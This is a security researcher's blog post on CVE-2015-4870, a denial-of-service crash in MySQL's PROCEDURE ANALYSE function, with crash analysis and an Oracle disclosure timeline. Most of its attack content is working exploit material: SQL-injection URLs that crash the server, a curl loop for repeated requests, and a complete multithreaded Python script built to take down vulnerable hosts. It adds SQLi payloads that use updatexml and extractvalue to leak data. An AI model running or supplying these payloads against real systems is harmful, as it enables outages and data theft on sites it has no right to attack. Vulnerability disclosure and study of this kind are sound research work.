MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.

Syntax:

 
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);

So an Example POC would be:

 
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
 
---------------------------------------------------------------------------------------------------------------
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR:
Can't connect to the server

mysql>
---------------------------------------------------------------------------------------------------------------


Another way to run the payload would be by saving the payload in a file and redirecting the payload to “mysql.exe”

 
mysql.exe < payload.sql

ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)

After the crash occurred if we check the Event Viewer we can see that “mysqld.exe” application has crashed which is great 🙂
The offset of the crash point is 0x000607f4.

After attaching the process to IDA we can see the crash occurs in the struct TABLE_LIST due to some field not getting allocated.

Taking Advantage

If you came across a website vulnerable to SQL injection you can simply perform a DoS attack so that MySQL server will not respond and the entire database of the website would be down meaning the website will be no longer in an active state.
In Windows based systems in a single request the process will crash. We have to manually restart the MySQL server.

 
http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#

In *nix systems mysqld will automatically recover but still if we keep on sending multiple GET requests with this payload the database will crash.
Here is a demo of performing the attack in a *nix system. But in here I have used a simple bash script using curl to send infinite GET requests.

 
while true; 
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;

This is the POC exploit I’ve written to take down a host which is vulnerable to SQLi and also vulnerable to this DoS attack.

 
#!/usr/bin/env python

# Title: MySQL Procedure Analyse DoS Exploit
# Author: Osanda Malith Jayathissa (@OsandaMalith)
# E-Mail: osanda[cat]unseen.is
# Version: Vulnerable upto MySQL 5.5.45
# Original Write-up: https://osandamalith.wordpress.com/2016/05/29/mysql-dos-in-the-procedure-analyse-function-cve-2015-4870/
# This exploit is compatible with both Python 3.x and 2.x
# CVE: CVE-2015-4870

from __future__ import print_function
import threading
import time
import sys
import os

try: 
	import urllib.request as urllib2
	import urllib.parse as urllib

except ImportError:
	import urllib2
	import urllib

try: input = raw_input
except NameError: pass

host = "http://host/xxx.php?id=1'"

payload = " procedure analyse((select*from(select 1)x),1)-- -"

payload = urllib.quote(payload)
url = host + payload
req = urllib2.Request(url)
req.add_header('Accept', '*/*')
req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0')
#req.add_header('Cookie', 'security=low; PHPSESSID=uegfnidhcdicvlsrc0uesio455')
req.add_header('Connection', '')
req.add_header('Content-type', 'text/xml')
cls = lambda: os.system('cls') if os.name == 'nt' else os.system('clear')

class DoS(threading.Thread):
	def run(self):
		print("{0} started!".format(self.getName()))
		for i in range(100):  
			urllib2.urlopen(req)

		time.sleep(.2)                                      
		print("{0} finished!".format(self.getName()))            

def banner():
	print ('''                                                       
                  ____    _____   __        
 /'\\_/`\\         /\\  _`\\ /\\  __`\\/\\ \\       
/\\      \\  __  __\\ \\,\\L\\_\\ \\ \\/\\ \\ \\ \\      
\\ \\ \\__\\ \\/\\ \\/\\ \\\\/_\\__ \\\\ \\ \\ \\ \\ \\ \\  __ 
 \\ \\ \\_/\\ \\ \\ \\_\\ \\ /\\ \\L\\ \\ \\ \\\\'\\\\ \\ \\L\\ \\
  \\ \\_\\\\ \\_\\/`____ \\\\ `\\____\\ \\___\\_\\ \\____/
   \\/_/ \\/_/`/___/> \\\\/_____/\\/__//_/\\/___/ 
               /\\___/                       
               \\/__/                                                    
		 ____            ____       
		/\\  _`\\         /\\  _`\\     
		\\ \\ \\/\\ \\    ___\\ \\,\\L\\_\\   
		 \\ \\ \\ \\ \\  / __`\\/_\\__ \\   
		  \\ \\ \\_\\ \\/\\ \\L\\ \\/\\ \\L\\ \\ 
		   \\ \\____/\\ \\____/\\ `\\____\\
		    \\/___/  \\/___/  \\/_____/
                            
[*] Author: Osanda Malith Jayathissa (@OsandaMalith)
[*] E-Mail: osanda[cat]unseen.is
[*] Website: https://osandamalith.wordpress.com  
[!] Author takes no responsibility of any damage you cause
[!] Strictly for Educational purposes only 
''')
	print("[*] Host: {0}".format(host))
	input("\n\t[-] Press Return to launch the attack\n")

def _start():
	try:
		cls()
		banner()
		for i in range(10000):                                      
			thread = DoS(name = "[+] Thread-{0}".format(i + 1))   
			thread.start()                                  
			time.sleep(.1)

	except KeyboardInterrupt:
		print ('\n[!] Ctrl + C detected\n[!] Exiting')
		sys.exit(0)
		
	except EOFError:
		print ('\n[!] Ctrl + D detected\n[!] Exiting')
		sys.exit(0)

if __name__ == '__main__':
	_start()
                                 

Download:
https://github.com/OsandaMalith/CVE-2015-4870/blob/master/DoS.py

Here’s a small video demonstration.

Other Advantages of Procedure Analyse in SQLi

Finding the Number of Columns easily

Procedure analyse function can be used to find the number of columns in the table which can be used to save time if you are performing union based injection. As you can see in the screenshot two results have returned meaning there exists two columns.

 
http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse()-- -&Submit=Submit#

Injection after Limit Clause

In scenarios where the injection point is after the limit clause you can use procedure analyse along with updatexml and extractvalue functions as sub queries and perform SQL injection. Here’s an example using updatexml.

 
select username,password from users 
order by 1 desc 
limit 0,1 
procedure analyse(updatexml(1,concat(0x7e,(version())),0),1);

This example is using extractvalue.

 
select username,password from users 
order by 1 desc 
limit 0,1 
procedure analyse(extractvalue(1,concat(0x7e,database())),1);

I would be grateful to hasherezade for her support in the analysis.

As always there might be more things to be explored 🙂

Disclosure Timeline

2015-06-27: Responsibly disclosed to Oracle
2015-07-24: Under investigation / Being fixed in main codeline
2015-08-24: Issue fixed in main codeline, scheduled for a future CPU
2015-09-24: Issue fixed in main codeline, scheduled for a future CPU
2015-10-20: Acknowledged in the Oracle Critical Patch Update October 2015

References

Acknowledgement by Oracle
[1] http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html
[2] http://www.oracle.com/ocom/groups/public/@otn/documents/webcontent/2368795.xml

Patch
[3] https://github.com/codership/mysql-wsrep/commit/557a57f3a23c486fbe12b66306ab7adffd609677

Exploit
[4] https://www.exploit-db.com/exploits/39867/
[5] https://packetstormsecurity.com/files/137232/MySQL-Procedure-Analyse-Denial-Of-Service.html
[6] http://0day.today/exploit/description/25373

Mentions
[7] www.hackercg.com/new-exploit-found-mysql-osanda-malith/
[8] https://www.saotn.org/mysql-dos-procedure-analyse-function/
[9] http://zerosecurity.org/2016/05/new-mysql-zero-day-affecting-versions-5-5-45
[10] http://www.hauri.co.kr/information/news_view.html?intSeq=8632
[11] http://www.boannews.com/media/view.asp?idx=50811
[12] http://www.igloosec.co.kr/BLOG_MySQL%20DoS%20%EC%B7%A8%EC%95%BD%EC%A0%90(CVE-2015-4870)%EB%B6%84%EC%84%9D?bbsCateId=1

Click here for my other posts regarding MySQL and SQLi

Advertisements

2 thoughts on “MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

  1. Pingback: New Zero-day Found on MySQL by Osanda Malith - Hacker's Common Gate

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s